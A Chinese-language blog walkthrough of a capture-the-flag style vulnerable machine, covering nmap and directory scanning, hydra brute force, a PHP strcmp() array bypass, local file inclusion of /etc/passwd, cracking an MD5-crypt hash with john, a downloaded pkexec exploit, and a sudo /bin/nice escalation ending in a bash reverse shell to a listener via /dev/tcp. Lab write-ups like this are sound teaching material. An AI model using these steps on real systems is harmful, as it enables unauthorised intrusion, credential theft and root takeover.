提示:本文记录了博主的一次打靶过程
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 Apache探查
- 4.2 ProFTPD探查
- 4.2.1 strcmp()函数绕过
- 4.2.2 查找apache日志文件
- 4.2.3 查看/etc/passwd文件
- 4.2.4 破译密码
- 4.2.5 突破边界
- 5. 提权
- 5.1 系统信息枚举
- 5.2 定时任务枚举
- 5.3 可执行文件枚举
- 5.4 利用/bin/nice提权
- 6. 获取flag
1. 主机发现
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
锁定靶机地址为192.168.65.136。
2. 端口扫描
通过下面的命令对靶机进行全端口扫描,看看具体开了哪些端口。
$ sudo nmap -p- 192.168.65.136
靶机上开的端口不多,不过有一个2112的陌生端口。
3. 服务枚举
通过下面的命令枚举一下上述端口上分别运行了什么服务。
$ sudo nmap -p22,80,2112 -A -sT -sV 192.168.65.136
除了之前常见的OpenSSH和Apache之外,还有个ProFTPD的服务,待会儿探查一下。
4. 服务探查
4.1 Apache探查
先用浏览器访问一下看看。
看来这个靶机也挺会玩儿的,啥都没有,还是枚举一下目录吧。
$ dirsearch -u http://192.168.65.136
枚举出来的内容不多,直接逐个看看。
/admin路径下是一个登录页面,我们尝试用不同的用户名密码登录一下。
无论输入什么样用户名密码,都会提示上述的信息。继续往下探查。
在/admin/logs目录下,有三个log文本文件,进去看看有没有我们感兴趣的内容。从log_01.txt中可以看到,有修改admin用户的密码的记录,如下图。
这说明admin用户是一定存在的,实在不行待会儿爆破一下看看。其它两个分别是admin用户重启服务和修改密码的日志;其它目录都没有发现我们感兴趣的内容。
接下来我们使用burpsuite通过登录页面爆破一下admin用户的密码,具体细节不再赘述。
半天才执行了几百个,效率太低了,还是用hydra试试。
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.65.136 -f http-post-form "/admin/index.php?login=1:username=^USER^&password=^PASS^:Sign In"
额,更加离谱,因为所有的请求都是反馈的200,外加“Bad user/password!”,而hydra以为返回200就是找到了密码,暂时放弃吧。
4.2 ProFTPD探查
先用浏览器访问一下看看(后来重启后,靶机IP地址变为了192.168.65.133)
额,貌似不是我们想要的内容,目录枚举一下看看。
好失望,竟然是空的。通过telnet访问一下2112端口试试看。
$ telnet 192.168.65.133 2112
还是有内容的,进一步尝试一下,密码随便输入。
接下来简单设置一下。
说明:TYPE命令用于设置数据类型,A=ASCII,E=EBCDIC,I=binary。这里参照了CSDN上面的一篇文章(https://blog.csdn.net/huabiaochen/article/details/90731372)。
看看当前目录是啥,以及当前目录下有些啥。
这说明,当前的/目录就是根目录,下面只有两个文件,我们尝试把两个文件下载到本地。
发现无论怎么尝试,都无法将文件下载到本地。怀疑可能是用telnet连接的原因,切换到ftp命令试试看。
$ ftp 192.168.65.133 2112
这次可以顺利下载到本地了,估计开始传输的参数或者模式上面有些差异。接下来看看这两个文件里面分别是些啥。
welcome.msg文件中定义的是用户登录FTP后的一个欢迎信息的格式,从我们前面的登录能够看出来,再看看index.php.bak文件。
这个文件有意思,首先貌似有个默认密码是potato,另外给出了登录的逻辑。我们先试试默认密码。
额,尝试失败,但是依照靶机的尿性,既然给出了这个index.php.bak文件,相当于是告诉了我们登录认证的逻辑,一定是有用的,我们再回来研究一下这段代码,得想办法看看怎么让strcmp的结果恒等于0。
4.2.1 strcmp()函数绕过
直接google一下吧。
貌似这里有些可以利用的内容,直接搜索php strcmp bypass看看,还真找到了一篇文章(https://blog.0daylabs.com/2015/09/21/csaw-web-200-write-up/)。貌似是说,strcmp()函数在比较的时候,如果让passwd为类似于password[]=lol的形式时,输入的密码变量就是一个数组,这个时候如果执行比较的时候,不是报错,而是返回NULL,并且在php中NULL==0,因此相当于strcmp函数返回结果为0(即密码正确),这样就达到了绕过strcmp函数的目的。
接下来我们在密码输入框中直接输入password[]=lol试试看。
额,仍然是失败的,再修改一下密码为password[]=””试试看,还是失败的,怀疑还是直接输入的时候导致有些编码的问题,直接通过burp试试。
从下面的响应结果来看是成功的,看来确实是之前用浏览器会有些小问题。
这就好办了,打开burp的拦截功能,然后拦截登录请求,修改密码提交部分,然后转发给服务器,我们就可以得到正常的登录成功的响应。
接下来,我们逐个界面点一下看看。经过查看,最有可能有问题的地方是Logs下面,选择某个log文件的时候,会显示log内容,这里有可能是本地文件包含漏洞。
我们通过burp的Repeater下修改请求消息中的文件名,试试看。
按照上图所示进行修改,然后请求一下试试看。
确实返回了/etc/passwd的内容,再更换一个请求试试看。
妥妥的,还记得我们前段时间的第14个打靶实战吗?通过往apache的log文件中写入日志实现了反弹shell,这里我们用同样的手法试一下。
4.2.2 查找apache日志文件
直接分别试一下/var/log/apache/access.log、/var/log/apache2/access.log、/etc/httpd/logs/access_log
,结果都不对。
4.2.3 查看/etc/passwd文件
到目前位置,没什么进展,我们再回过头来看看/etc/passwd文件,看看有没有什么值得研究的内容。
从passwd文件中可以看出,root、florianges、webadmin这三个用户都是可以通过ssh登录的,尤其是webadmin账号,还给出了密码串。我们先尝试一下弱密码登录三个账号试试,然后尝试解析webadmin的密码串。
无论怎么请求,都是返回上图所示的信息,感觉没有办法直接登录。通过下面的命令删除本地当前用户的.ssh目录下的所有内容。
$ rm -rf ~/.ssh/*
然后再试一下。
嗯,这次可以了,通过弱密码试试这三个用户,都是徒劳的,现在看看怎么把webadmin用户在/etc/passwd文件中的密文串给解析一下,再不行就只能爆破了。
4.2.4 破译密码
仔细看passwd文件中的密码位置的内容$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
,感觉真正加密的内容是最后一个$后面的内容,通过上网查询(https://3gstudent.github.io/Linux%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81Hash-%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8E%E7%A0%B4%E8%A7%A3%E6%96%B9%E6%B3%95%E7%9A%84%E6%8A%80%E6%9C%AF%E6%95%B4%E7%90%86
)得知前面的$1
是用来指定密码的加密算法的,$1
代表MD5
,$5
代表SHA-256
,$6
代表SHA-512
,而第二个$后面的webadmin应该是salt值。
既然已经明确了规则,接下来就是想办法破译密码了,先用上面文章中大牛提到的john试试看。
$ echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > webadmin_pass
$ john --wordlist=/usr/share/wordlists/rockyou.txt webadmin_pass
额,这是直接爆出密码了吗?有些惊喜啊,试试看。
4.2.5 突破边界
我去,真的登录进去了,john太牛逼了。
5. 提权
5.1 系统信息枚举
这是64位的Ubuntu 20.04 LTS版本,内核版本是5.4.0-42-generic。
5.2 定时任务枚举
没有可用的定时任务。
5.3 可执行文件枚举
先查一下root用户拥有的,其它用户可读可写的文件。
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
只有一个nc,这是个很有用的玩意儿,再查一下具有SUID的文件看看。
$ find / -user root -perm -4000 -print 2>/dev/null
搜索出来的内容还是挺多的,不过可疑的不多,主要就是我们之前经常遇到的pkexec。先查一下版本号。
$ dpkg -l policykit-1
嗯,这个版本可能是有漏洞的,在Ubuntu 20.04上面修复版本是policykit-1 - 0.105-26ubuntu1.2,而这里是policykit-1 - 0.105-26ubuntu1,我们尝试exploit一下,先把EXP下载到本地。
$ git clone https://github.com/Almorabea/pkexec-exploit.git
是个python脚本,看了一下文件内容,没什么大问题,直接上传到靶机运行一下。
啊,有些顺利的不像话,直接成功了,我们深入确认一下。
看来确实提权成功了。
5.4 利用/bin/nice提权
先通过sudo -l查看一下。
意思是webadmin用户可以执行/bin/nice命令,而这个命令的权限非常高。不过没太看懂啥意思,直接执行一下上面的命令试试看。
貌似也没有提权啊,莫非*那里用什么样的内容也可以?在这里构建一个反弹shell试试看。
$ whereis bash
$ sudo /bin/nice /notes/../usr/bin/bash -i >& /dev/tcp/192.168.65.202/8888 0>&1
反弹shell建立成功,简单验证一下。
提权成功。
6. 获取flag
搞定。